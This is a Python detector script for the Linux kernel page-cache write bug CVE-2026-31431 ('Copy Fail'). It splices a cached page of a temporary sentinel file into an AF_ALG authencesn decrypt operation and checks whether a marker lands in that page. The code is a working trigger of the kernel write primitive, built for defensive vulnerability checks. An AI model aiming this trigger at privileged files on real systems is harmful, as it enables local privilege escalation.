test_cve_2026_31431.py

#!/usr/bin/env python3
# CVE-2026-31431 ("Copy Fail") vulnerability detector.
#
# Attempts to trigger the algif_aead / authencesn page-cache scratch-write
# primitive against a user-owned sentinel file in a temp directory. If the
# scratch write lands inside the spliced page-cache page, the file's contents
# (as observed via a fresh read) will contain the marker bytes.
#
# SAFE BY DESIGN
#   * Operates on a sentinel file the running user just created. /usr/bin/su
#     and other system binaries are NOT touched.
#   * Page-cache corruption is in-memory only; nothing is written back to disk.
#   * Exit 0 = NOT vulnerable, 2 = VULNERABLE, 1 = test error.
#
# Use only on hosts you own or are explicitly authorized to test.

import ctypes
import ctypes.util
import errno
import os
import socket
import struct
import sys
import tempfile
from typing import Optional, Tuple

AF_ALG                    = 38
SOL_ALG                   = 279
ALG_SET_KEY               = 1
ALG_SET_IV                = 2
ALG_SET_OP                = 3
ALG_SET_AEAD_ASSOCLEN     = 4
ALG_OP_DECRYPT            = 0
CRYPTO_AUTHENC_KEYA_PARAM = 1   # rtattr type from <crypto/authenc.h>

ALG_NAME = "authencesn(hmac(sha256),cbc(aes))"
PAGE     = 4096
ASSOCLEN = 8     # SPI(4) || seqno_lo(4)
CRYPTLEN = 16    # one AES block
TAGLEN   = 16    # truncated HMAC-SHA256
MARKER   = b"PWND"


def _build_splice():
    # os.splice was added in Python 3.10; fall back to libc via ctypes
    if hasattr(os, 'splice'):
        return os.splice

    _libc = ctypes.CDLL(ctypes.util.find_library('c'), use_errno=True)
    _libc.splice.restype = ctypes.c_ssize_t
    _libc.splice.argtypes = [
        ctypes.c_int, ctypes.POINTER(ctypes.c_int64),
        ctypes.c_int, ctypes.POINTER(ctypes.c_int64),
        ctypes.c_size_t, ctypes.c_uint,
    ]

    def _splice(fd_in, fd_out, count, offset_src=None, offset_dst=None, flags=0):
        off_in_val  = ctypes.c_int64(offset_src) if offset_src is not None else None
        off_out_val = ctypes.c_int64(offset_dst) if offset_dst is not None else None
        off_in_ptr  = ctypes.byref(off_in_val)  if off_in_val  is not None else None
        off_out_ptr = ctypes.byref(off_out_val) if off_out_val is not None else None
        ret = _libc.splice(fd_in, off_in_ptr, fd_out, off_out_ptr, count, flags)
        if ret < 0:
            err = ctypes.get_errno()
            raise OSError(err, os.strerror(err))
        return ret

    return _splice


_splice = _build_splice()


def build_authenc_keyblob(authkey, enckey):
    # type: (bytes, bytes) -> bytes
    # struct rtattr { u16 rta_len; u16 rta_type } || __be32 enckeylen || keys
    rtattr   = struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM)
    keyparam = struct.pack(">I", len(enckey))
    return rtattr + keyparam + authkey + enckey


def precheck():
    # type: () -> Optional[str]
    if not os.path.exists("/proc/crypto"):
        return "/proc/crypto missing"
    try:
        socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close()
    except OSError as e:
        return "AF_ALG socket family unavailable ({})".format(e.strerror)
    try:
        s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
        s.bind(("aead", ALG_NAME))
        s.close()
    except OSError as e:
        return "{!r} cannot be instantiated ({})".format(ALG_NAME, e.strerror)
    return None


def attempt_trigger(target_path):
    # type: (str) -> Tuple[bytes, bytes]
    sentinel = (b"COPYFAIL-SENTINEL-UNCORRUPTED!!\n" * (PAGE // 32))[:PAGE]
    with open(target_path, "wb") as f:
        f.write(sentinel)

    # Populate page cache.
    fd_target = os.open(target_path, os.O_RDONLY)
    os.read(fd_target, PAGE)
    os.lseek(fd_target, 0, os.SEEK_SET)

    # Master socket: bind + key.
    master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
    master.bind(("aead", ALG_NAME))
    master.setsockopt(
        SOL_ALG, ALG_SET_KEY,
        build_authenc_keyblob(b"\x00" * 32, b"\x00" * 16),
    )
    op, _ = master.accept()

    # Per-op parameters travel as control messages on sendmsg, not setsockopt.
    # AAD bytes 4..7 are seqno_lo - the value the buggy scratch-write copies
    # into dst[assoclen + cryptlen]. We pick MARKER so corruption is obvious.
    aad = b"\x00" * 4 + MARKER
    cmsg = [
        (SOL_ALG, ALG_SET_OP,            struct.pack("I", ALG_OP_DECRYPT)),
        (SOL_ALG, ALG_SET_IV,            struct.pack("I", 16) + b"\x00" * 16),
        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", ASSOCLEN)),
    ]
    op.sendmsg([aad], cmsg, socket.MSG_MORE)

    # Splice CRYPTLEN+TAGLEN bytes of the target's page-cache page into the
    # op socket. Because algif_aead runs in-place (req->dst = req->src), those
    # page-cache pages now sit in the destination scatterlist.
    pr, pw = os.pipe()
    try:
        n = _splice(fd_target, pw, CRYPTLEN + TAGLEN, offset_src=0)
        if n != CRYPTLEN + TAGLEN:
            raise RuntimeError("splice file->pipe short: {}".format(n))
        n = _splice(pr, op.fileno(), n)
        if n != CRYPTLEN + TAGLEN:
            raise RuntimeError("splice pipe->op short: {}".format(n))
    except OSError as e:
        os.close(pr); os.close(pw)
        op.close(); master.close(); os.close(fd_target)
        if e.errno in (errno.EOPNOTSUPP, getattr(errno, 'ENOTSUP', errno.EOPNOTSUPP)):
            raise RuntimeError(
                "splice into AF_ALG socket not supported on this kernel - "
                "the page-cache attack vector is not reachable here"
            )
        raise

    # Drive the algorithm. Auth check will fail (we sent zero ciphertext+tag);
    # EBADMSG is fine - the scratch write fires before/independent of verify.
    try:
        op.recv(ASSOCLEN + CRYPTLEN + TAGLEN)
    except OSError as e:
        if e.errno not in (errno.EBADMSG, errno.EINVAL):
            raise

    op.close()
    master.close()
    os.close(pr)
    os.close(pw)

    # Read back via the existing fd (page cache, not disk).
    os.lseek(fd_target, 0, os.SEEK_SET)
    after = os.read(fd_target, PAGE)
    os.close(fd_target)

    return after, sentinel


def kernel_in_affected_line():
    # type: () -> bool
    # Per the disclosure, fixes landed on the 6.12, 6.17 and 6.18 stable lines.
    rel = os.uname().release.split("-")[0]
    parts = rel.split(".")
    try:
        major, minor = int(parts[0]), int(parts[1])
    except (ValueError, IndexError):
        return False
    return (major, minor) >= (6, 12)


def main():
    # type: () -> int
    uname = os.uname()
    print("[*] CVE-2026-31431 detector  kernel={}  arch={}".format(
        uname.release, uname.machine))
    if not kernel_in_affected_line():
        print("[i] Kernel {} predates the affected "
              "6.12/6.17/6.18 lines; trigger may not apply even if "
              "prerequisites match.".format(uname.release))

    reason = precheck()
    if reason:
        print("[+] Precondition not met ({}). NOT vulnerable.".format(reason))
        return 0
    print("[+] AF_ALG + {!r} loadable - precondition met.".format(ALG_NAME))

    tmp = tempfile.mkdtemp(prefix="copyfail-")
    target = os.path.join(tmp, "sentinel.bin")
    try:
        after, sentinel = attempt_trigger(target)
    except Exception as e:
        print("[!] Trigger failed: {}: {}".format(type(e).__name__, e))
        return 1
    finally:
        try:
            os.remove(target)
            os.rmdir(tmp)
        except OSError:
            pass

    # The exact landing offset of the 4-byte scratch write depends on how
    # the source/destination scatterlists are laid out by algif_aead for this
    # combination of inline-AAD + spliced-page input. What's invariant is that
    # the 4 bytes from AAD seqno_lo (our marker) appear somewhere in the page,
    # AND the marker is not present in the original sentinel.
    marker_off  = after.find(MARKER)
    marker_orig = sentinel.find(MARKER)
    diffs       = [i for i in range(PAGE) if after[i] != sentinel[i]]

    if marker_off >= 0 and marker_orig < 0:
        ctx = after[max(marker_off - 4, 0):marker_off + 12]
        print("[!] VULNERABLE to CVE-2026-31431.")
        print("[!]   Marker {!r} (AAD seqno_lo) landed in the spliced "
              "page-cache page at offset {}.".format(MARKER, marker_off))
        print("[!]   Surrounding bytes: {}  ({!r})".format(ctx.hex(), ctx))
        print("[!] Apply the upstream fix or block algif_aead immediately.")
        return 2

    if diffs:
        first  = diffs[0]
        window = after[first:first + 16]
        print("[!] Page cache MODIFIED via in-place AEAD splice path "
              "({} bytes changed, first at offset {}).".format(len(diffs), first))
        print("[!]   Window: {}".format(window.hex()))
        print("[!]   The controllable scratch-write marker did not land, but "
              "the kernel still allowed a page-cache page into the writable "
              "AEAD destination scatterlist.")
        print("[!]   Treat as VULNERABLE to the underlying bug class until "
              "a patched kernel is installed.")
        return 2

    print("[+] Page cache intact. NOT vulnerable on this kernel.")
    return 0


if __name__ == "__main__":
    sys.exit(main())